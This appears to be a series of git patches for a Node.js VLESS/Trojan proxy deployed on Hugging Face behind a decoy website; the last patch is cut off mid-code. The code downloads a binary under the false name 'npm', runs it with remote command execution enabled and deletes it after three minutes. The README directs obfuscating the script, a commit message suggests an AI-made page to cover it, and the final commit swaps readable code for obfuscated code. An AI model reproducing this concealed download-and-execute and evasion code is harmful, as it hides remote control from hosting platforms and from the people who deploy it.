@@ -139,9 +139,6 @@ function handleTrojanConnection(ws, msg) { const receivedPasswordHash = msg.slice(0, 56).toString(); const possiblePasswords = [ UUID, - UUID.replace(/-/g, ''), - UUID.toUpperCase(), - UUID.replace(/-/g, '').toUpperCase(), ]; let matchedPassword = null; From 605511eb42d90f2b202c91966cef4358bd56ebcb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Fri, 14 Nov 2025 01:04:33 +0800 Subject: [PATCH 11/20] Update Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index a7c31eb3db..e9870fa0a1 100644 --- a/Dockerfile +++ b/Dockerfile @@ -6,7 +6,7 @@ COPY index.js index.html package.json ./ EXPOSE 7860 -RUN apk update && apk add --no-cache openssl curl &&\ +RUN apk update && apk add --no-cache bash openssl curl &&\ chmod +x index.js &&\ npm install From 01ebe7391b5feca6c4918c3f5c0a0dcfc566083f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Fri, 14 Nov 2025 01:05:05 +0800 Subject: [PATCH 12/20] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=8C=82=E5=93=AA?= =?UTF-8?q?=E5=90=92=E5=A4=B1=E8=B4=A5=E7=9A=84=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit From e3a3f4ff98912ed010c9143ca939f70fd557d438 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Fri, 14 Nov 2025 01:25:16 +0800 Subject: [PATCH 13/20] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 5b09135576..77553ba05d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ ## hugggingfface部署指南 +huggingface视频教程地址:https://youtu.be/XERxg9AODeo + 1. fork 此项目 2. 在Actions菜单允许 `I understand my workflows, go ahead and enable them` 按钮 3. 将hug分支中的index.js填写需要的变量后混淆保存,js混肴地址:https://obfuscator.io From d50ff6178762e69038bf8a2bc7e2fd9fe83da0b3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Fri, 14 Nov 2025 01:51:05 +0800 Subject: [PATCH 14/20] =?UTF-8?q?=E5=BB=BA=E8=AE=AE=E5=A4=A7=E5=AE=B6?= =?UTF-8?q?=E8=AE=A9Ai=E7=94=9F=E6=88=90=E7=8B=AC=E4=B8=80=E6=97=A0?= =?UTF-8?q?=E4=BA=8C=E7=9A=84=E9=9D=99=E6=80=81html=E7=BD=91=E9=A1=B5?= =?UTF-8?q?=E8=A6=86=E7=9B=96=E6=AD=A4=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- index.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.html b/index.html index c60c5041cf..7813feb3da 100644 --- a/index.html +++ b/index.html @@ -712,11 +712,11 @@

Contact Us

behavior: 'smooth' }); - // Close mobile menu if open document.querySelector('nav ul').classList.remove('active'); } }); }); - \ No newline at end of file + + From 2304fcd59b96e9814c1bdade04ee32cc924b5f1d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Sat, 15 Nov 2025 02:27:20 +0800 Subject: [PATCH 15/20] fix: change auto access url --- index.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.js b/index.js index 1710efe880..2a45968e65 100644 --- a/index.js +++ b/index.js @@ -344,7 +344,7 @@ async function addAccessTask() { if (!DOMAIN) { return; } - const fullURL = `https://${DOMAIN}/${SUB_PATH}`; + const fullURL = `https://${DOMAIN}`; try { const res = await axios.post("https://oooo.serv00.net/add-url", { url: fullURL From 5f0f428728a9c5c1379165936a23e5bfbb26a0b3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Wed, 10 Dec 2025 14:14:32 +0800 Subject: [PATCH 16/20] Update index.js --- index.js | 375 +------------------------------------------------------ 1 file changed, 1 insertion(+), 374 deletions(-) diff --git a/index.js b/index.js index 2a45968e65..a2da186cb3 100644 --- a/index.js +++ b/index.js @@ -1,374 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 -const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || 'Hug'; // 节点名称 -const PORT = process.env.PORT || 7860; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://speed.cloudflare.com/meta'); - const data = res.data; - ISP = `${data.country}-${data.asOrganization}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${NAME}-${ISP}`; - const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${NAME}-${ISP}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +(function(_0x203c94,_0x52143a){function _0x121c2b(_0x44ad27,_0x5e164e,_0x1d7884,_0x3dc267){return _0x2de5(_0x44ad27- -0x347,_0x3dc267);}function _0xc877f9(_0x2666ec,_0x53cfaa,_0x2c7fe5,_0x2e45a8){return _0x2de5(_0x2e45a8- -0x1e,_0x2666ec);}const _0x1b1ab8=_0x203c94();while(!![]){try{const _0x550b9b=-parseInt(_0xc877f9(0x33b,0x29e,0x1b0,0x275))/(0xd*0x9b+0x2*-0xfea+-0x17f6*-0x1)*(parseInt(_0x121c2b(-0x5c,-0x5,-0x3,0x1e))/(0x1db0+0x2*-0x192+-0x1a8a))+parseInt(_0xc877f9(0x1a1,0x2f4,0x1b2,0x223))/(0x1a89*0x1+-0x207*-0x7+-0x28b7)*(parseInt(_0x121c2b(-0x7b,-0x35,-0x40,-0x1a))/(0x18fa+0x3f4*-0x7+-0x1*-0x2b6))+-parseInt(_0x121c2b(-0xa6,-0x39,0x11,-0xd))/(0x2617*-0x1+-0x1*-0x1c8a+-0x32*-0x31)+-parseInt(_0xc877f9(0x26d,0x211,0x285,0x238))/(0x6cb*-0x3+-0x1615*-0x1+-0x1ae)+parseInt(_0x121c2b(-0xff,-0x146,-0x16e,-0xb2))/(-0x1883+-0x21*-0xda+-0x390)+-parseInt(_0xc877f9(0x1b7,0xac,0x17a,0x147))/(0x2038*-0x1+-0x65e*0x2+0x2cfc)*(parseInt(_0xc877f9(0x20f,0x25a,0x1e6,0x21f))/(0xf9f+-0x178+-0xe1e*0x1))+parseInt(_0x121c2b(-0x101,-0x47,-0x6f,-0x118))/(-0xc4b+-0xfa4+0x1bf9);if(_0x550b9b===_0x52143a)break;else _0x1b1ab8['push'](_0x1b1ab8['shift']());}catch(_0x5af43a){_0x1b1ab8['push'](_0x1b1ab8['shift']());}}}(_0x2709,-0x2b13*0x63+-0x6*0x34b61+0x27557*0x13));const _0x5a6852=(function(){const _0x45b55d={'kvWvR':function(_0x3d1029){return _0x3d1029();},'YRmBi':function(_0x49478d,_0x6fa208){return _0x49478d!==_0x6fa208;}};let _0x3d12a7=!![];return function(_0x2205f2,_0x227b2a){function _0x4cb038(_0x487375,_0x4fc7d0,_0x37c8de,_0x4e5b51){return _0x2de5(_0x37c8de-0xc9,_0x4fc7d0);}const _0x41ac4f={'YtKXA':function(_0x28fa25){function _0x406473(_0x5721df,_0x19e4a8,_0x1f74ff,_0x44a6df){return _0x2de5(_0x5721df-0x107,_0x19e4a8);}return _0x45b55d[_0x406473(0x3a4,0x316,0x2ec,0x41c)](_0x28fa25);},'dvvbi':function(_0xd5b45a,_0x55d251){return _0x45b55d['YRmBi'](_0xd5b45a,_0x55d251);},'ilmFV':_0x388057(0x10a,0x148,0xae,0x119),'KTyyU':_0x4cb038(0x2a4,0x2cb,0x285,0x1ed),'zmsAb':function(_0x340e1f,_0x702d65){return _0x340e1f!==_0x702d65;},'cOhLJ':'SpMHk'},_0x134d47=_0x3d12a7?function(){function _0x4d1772(_0x3fe98e,_0x4aeaf7,_0x2345b2,_0x245426){return _0x388057(_0x4aeaf7- -0x180,_0x4aeaf7-0x1e0,_0x3fe98e,_0x245426-0x175);}function _0x1e0b69(_0x223c2e,_0x4236bb,_0x15165e,_0x5d2fe8){return _0x4cb038(_0x223c2e-0x1b8,_0x223c2e,_0x4236bb-0x141,_0x5d2fe8-0xb3);}if(_0x41ac4f[_0x1e0b69(0x513,0x501,0x505,0x4d3)](_0x41ac4f[_0x4d1772(0xc,-0x46,-0x26,-0x8a)],_0x41ac4f[_0x4d1772(0x4f,0x73,0x124,0x139)])){if(_0x227b2a){if(_0x41ac4f[_0x4d1772(-0x97,-0xa3,-0xfc,0x28)](_0x41ac4f['cOhLJ'],_0x41ac4f[_0x4d1772(0x7b,-0x28,-0xdf,0x35)]))_0x41ac4f['YtKXA'](_0x523f81);else{const _0x57ce81=_0x227b2a[_0x1e0b69(0x32e,0x3ef,0x478,0x418)](_0x2205f2,arguments);return _0x227b2a=null,_0x57ce81;}}}else{const _0x3731e2=_0x5b04b5[_0x1e0b69(0x3bc,0x3ef,0x44f,0x3ca)](_0x3e0502,arguments);return _0x485b2d=null,_0x3731e2;}}:function(){};function _0x388057(_0x3ab2b5,_0x20da9b,_0x2385aa,_0x475c92){return _0x2de5(_0x3ab2b5- -0xc0,_0x2385aa);}return _0x3d12a7=![],_0x134d47;};}()),_0x234d68=_0x5a6852(this,function(){const _0x280210={};_0x280210[_0x5457cd(0x271,0x21f,0x26a,0x269)]=_0x1a5208(0x36a,0x3b0,0x3fa,0x2b5)+'+$';function _0x1a5208(_0x23bcdd,_0x4dfb6b,_0x8f2173,_0x164781){return _0x2de5(_0x23bcdd-0x202,_0x164781);}const _0x5e35d8=_0x280210;function _0x5457cd(_0x214d43,_0x2bc6e8,_0x3863a1,_0x24d227){return _0x2de5(_0x2bc6e8-0x3b,_0x24d227);}return _0x234d68[_0x5457cd(0x326,0x2cf,0x215,0x25f)]()[_0x5457cd(0x1cd,0x1af,0x14a,0x1bf)](_0x5e35d8['mRenN'])[_0x5457cd(0x337,0x2cf,0x2ad,0x279)]()[_0x1a5208(0x36c,0x322,0x2cf,0x2c8)+'r'](_0x234d68)[_0x1a5208(0x376,0x31c,0x439,0x2bf)]('(((.+)+)+)'+'+$');});_0x234d68();function _0x5438be(_0x2875a3,_0x4b6620,_0x1270c1,_0x35bf18){return _0x2de5(_0x1270c1- -0x336,_0x2875a3);}const _0x3bcc5a=(function(){let _0x459150=!![];return function(_0x2a694d,_0x1d3924){const _0x5c197c=_0x459150?function(){if(_0x1d3924){const _0x45045b=_0x1d3924['apply'](_0x2a694d,arguments);return _0x1d3924=null,_0x45045b;}}:function(){};return _0x459150=![],_0x5c197c;};}()),_0x15251c=_0x3bcc5a(this,function(){const _0x27183c={'SNWhs':function(_0x2e2473,_0x43e1bb,_0x1067d9){return _0x2e2473(_0x43e1bb,_0x1067d9);},'kaEtw':function(_0x4d57db,_0x23671b){return _0x4d57db(_0x23671b);},'stDxb':function(_0x238e0e,_0x361d67){return _0x238e0e+_0x361d67;},'ifMQD':'return\x20(fu'+'nction()\x20','cihbb':_0xb299c4(0x5f6,0x5b5,0x6c1,0x666)+_0xb299c4(0x589,0x586,0x589,0x646)+_0x9c9f31(-0x12c,-0x18f,-0x1bf,-0x25d)+'\x20)','jaPXv':function(_0x4250c8){return _0x4250c8();},'UIlYK':_0xb299c4(0x533,0x58d,0x4fc,0x5be),'NSzaM':_0xb299c4(0x57d,0x5e4,0x579,0x63a),'IQCJa':_0xb299c4(0x63f,0x5ae,0x6a0,0x6e7),'rkpqx':_0xb299c4(0x66d,0x731,0x70a,0x679),'smPpS':_0x9c9f31(-0x1c5,-0x1f8,-0x211,-0x16a),'TiunH':_0xb299c4(0x68e,0x5d8,0x612,0x5be),'CtSIS':_0xb299c4(0x6a5,0x766,0x6f6,0x769),'PTlpO':function(_0x324f81,_0xcc8929){return _0x324f81<_0xcc8929;},'YZfAx':function(_0x4d19ff,_0x122fa5){return _0x4d19ff!==_0x122fa5;},'hfpsz':_0x9c9f31(-0x176,-0xd0,-0x163,-0x177)};let _0x3c0086;try{const _0x1a9c12=_0x27183c[_0x9c9f31(-0x1d3,-0x135,-0x18b,-0xad)](Function,_0x27183c[_0xb299c4(0x527,0x4f3,0x588,0x53b)](_0x27183c[_0xb299c4(0x5bd,0x60e,0x545,0x515)]+_0x27183c['cihbb'],');'));_0x3c0086=_0x27183c['jaPXv'](_0x1a9c12);}catch(_0x2324c7){_0x27183c[_0xb299c4(0x5c4,0x5d2,0x63e,0x4f8)]!==_0x27183c[_0xb299c4(0x5c4,0x5d4,0x61b,0x527)]?this[_0xb299c4(0x65e,0x63e,0x6d2,0x6ae)](_0x2cb5af[_0xb299c4(0x645,0x5cb,0x6f2,0x578)](_0x1032b1)):_0x3c0086=window;}function _0xb299c4(_0xa3ca7c,_0x161f10,_0x28d0be,_0x31fd1a){return _0x2de5(_0xa3ca7c-0x3a7,_0x31fd1a);}const _0x513e91=_0x3c0086['console']=_0x3c0086[_0xb299c4(0x585,0x5d8,0x4ea,0x655)]||{};function _0x9c9f31(_0x5d2913,_0x9de3f7,_0x15fc8a,_0x362ac7){return _0x2de5(_0x9de3f7- -0x369,_0x15fc8a);}const _0x583344=[_0x27183c[_0xb299c4(0x575,0x518,0x5d4,0x521)],_0x27183c[_0x9c9f31(-0x100,-0x168,-0x1a4,-0x1a8)],_0x27183c['rkpqx'],_0x27183c[_0x9c9f31(-0x8b,-0x11e,-0x1bb,-0x1a5)],_0x27183c[_0xb299c4(0x55b,0x567,0x54d,0x55c)],'table',_0x27183c[_0x9c9f31(-0x20b,-0x1aa,-0x1b9,-0x1cc)]];for(let _0x2a1352=-0x1767+0x11df+0x588;_0x27183c[_0xb299c4(0x669,0x6f7,0x5f8,0x5f0)](_0x2a1352,_0x583344[_0x9c9f31(-0xa1,-0x73,-0xe6,-0x7e)]);_0x2a1352++){if(_0x27183c[_0xb299c4(0x666,0x628,0x5b3,0x708)]('rPREv',_0x27183c[_0xb299c4(0x526,0x5f3,0x58c,0x4ab)])){const _0x4880f7=_0x3bcc5a[_0xb299c4(0x511,0x5cf,0x486,0x58c)+'r']['prototype']['bind'](_0x3bcc5a),_0x371ea0=_0x583344[_0x2a1352],_0x41a82b=_0x513e91[_0x371ea0]||_0x4880f7;_0x4880f7[_0xb299c4(0x5d0,0x5cc,0x539,0x50e)]=_0x3bcc5a[_0xb299c4(0x570,0x5a8,0x607,0x4ec)](_0x3bcc5a),_0x4880f7[_0x9c9f31(-0xb6,-0xd5,-0xef,-0xad)]=_0x41a82b[_0x9c9f31(-0x116,-0xd5,-0xdc,-0x2b)][_0x9c9f31(-0x1cb,-0x1a0,-0x1ba,-0x1e9)](_0x41a82b),_0x513e91[_0x371ea0]=_0x4880f7;}else{const _0x53dc4d=_0x451dd1[_0xb299c4(0x645,0x5b6,0x682,0x712)](0x192f+-0x14e*-0x1+-0x46a*0x6,0x98f+0x19d5+-0x2353),_0xda2836=_0x53dc4d[_0xb299c4(0x60c,0x620,0x6db,0x6a6)]((_0x19a202,_0x46b161)=>_0x19a202==_0x386688(_0x32965e[_0x9c9f31(-0x196,-0xca,-0x145,-0x161)](_0x46b161*(0x2*0x709+-0x1b66+0xd56),-0x7dc+-0x1*0x2197+-0x2975*-0x1),-0x4*-0x487+0x5*-0x71b+0x5*0x37f));if(_0xda2836){!_0x27183c[_0x9c9f31(-0xf5,-0x101,-0x181,-0x8a)](_0x25b9a0,_0x408d3b,_0x129afd)&&_0x4abc12[_0x9c9f31(-0x13b,-0x15e,-0x154,-0xae)]();return;}}}});_0x15251c();const os=require('os'),http=require(_0x21134f(0xd2,-0x43,0x32,0x2f)),fs=require('fs'),axios=require(_0x5438be(-0x3f,-0x75,-0x86,-0xa9)),net=require(_0x21134f(-0x3,-0x1,-0x41,-0xb4)),path=require(_0x5438be(-0x14e,-0x200,-0x1a1,-0x1c7)),crypto=require(_0x21134f(-0x1df,-0xb9,-0x143,-0xab)),{Buffer}=require('buffer'),{exec,execSync}=require(_0x5438be(-0x1ac,-0x1b2,-0x118,-0xa8)+_0x5438be(-0x55,-0xbd,-0x87,0xf)),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x21134f(0x1a,0x20,0x4,0x22)]['UUID']||'5efabea4-f'+_0x5438be(-0x14a,-0x4d,-0x10f,-0x6f)+'8f0-17e004'+_0x5438be(-0x12e,-0x5d,-0x113,-0x171),NEZHA_SERVER=process['env'][_0x5438be(-0x1c9,-0xc9,-0x143,-0x16f)+'ER']||'',NEZHA_PORT=process['env'][_0x5438be(-0xb5,-0x14e,-0xb7,-0xb4)]||'',NEZHA_KEY=process[_0x21134f(0x7b,0xcb,0x4,-0x80)]['NEZHA_KEY']||'',DOMAIN=process['env'][_0x21134f(0xa,0x88,0x22,0xa4)]||_0x21134f(0x9f,-0x90,0x7,0xce)+'om',AUTO_ACCESS=process[_0x21134f(0xcd,0x99,0x4,0x8)][_0x21134f(0x88,0x74,-0x43,-0xf9)+'S']||!![],WSPATH=process['env'][_0x5438be(-0x107,-0xc2,-0x89,-0xa2)]||UUID[_0x5438be(-0xa4,-0x36,-0x98,-0x123)](0xe48+0x65+0x121*-0xd,-0xfb*0x3+-0xfc8+-0x12c1*-0x1);function _0x21134f(_0x2be13f,_0x4f4331,_0x19134f,_0x379495){return _0x2de5(_0x19134f- -0x2cd,_0x2be13f);}const SUB_PATH=process[_0x5438be(-0x8e,-0x47,-0x65,-0xc4)][_0x5438be(-0x135,-0x74,-0x100,-0x5a)]||'sub',NAME=process[_0x21134f(0x44,0x5d,0x4,0xcc)][_0x21134f(-0x13f,-0x1b2,-0x14c,-0xe9)]||_0x21134f(-0x162,-0x84,-0x12c,-0x1e7),PORT=process[_0x21134f(0x86,0x61,0x4,-0x42)][_0x21134f(-0x65,-0x112,-0x92,0x8)]||0x3395+0x2ad*-0xb+0x92*0xf;let ISP='';const GetISP=async()=>{const _0x5171ce={};_0x5171ce['aUeAN']='NEZHA\x20vari'+'able\x20is\x20em'+'pty,\x20skip\x20'+_0x2f104b(0x3f9,0x3c6,0x3d6,0x349),_0x5171ce[_0x2b6484(0x3fc,0x367,0x409,0x310)]=_0x2f104b(0x32b,0x461,0x3d9,0x41a);function _0x2b6484(_0x203a6d,_0x2b9040,_0x190b71,_0x43f74d){return _0x21134f(_0x43f74d,_0x2b9040-0x12,_0x2b9040-0x35e,_0x43f74d-0x59);}_0x5171ce[_0x2b6484(0x29b,0x31f,0x3dd,0x3d1)]=_0x2f104b(0x3f5,0x38c,0x393,0x2f7),_0x5171ce['OQnYb']='Unknown';const _0x20cc15=_0x5171ce;function _0x2f104b(_0x4ec15c,_0x3ea512,_0x3ff1d4,_0x3ec7d9){return _0x21134f(_0x4ec15c,_0x3ea512-0x0,_0x3ff1d4-0x400,_0x3ec7d9-0x1c6);}try{if(_0x20cc15[_0x2b6484(0x371,0x367,0x2f0,0x301)]===_0x20cc15['rpbhk']){_0x4833a8[_0x2b6484(0x2dd,0x267,0x1f6,0x258)](_0x20cc15[_0x2b6484(0x1ad,0x239,0x2b9,0x2b3)]);return;}else{const _0x23bd7d=await axios[_0x2f104b(0x27f,0x277,0x2be,0x341)](_0x2b6484(0x2dd,0x2e8,0x224,0x361)+'eed.cloudf'+_0x2f104b(0x236,0x26f,0x2a0,0x1ef)+'eta'),_0xd2467b=_0x23bd7d[_0x2b6484(0x3eb,0x33a,0x35f,0x2b1)];ISP=(_0xd2467b[_0x2b6484(0x2a2,0x241,0x1a8,0x22e)]+'-'+_0xd2467b[_0x2b6484(0x290,0x238,0x295,0x300)+_0x2b6484(0x3c2,0x38d,0x302,0x417)])[_0x2b6484(0x1ee,0x283,0x32c,0x32c)](/ 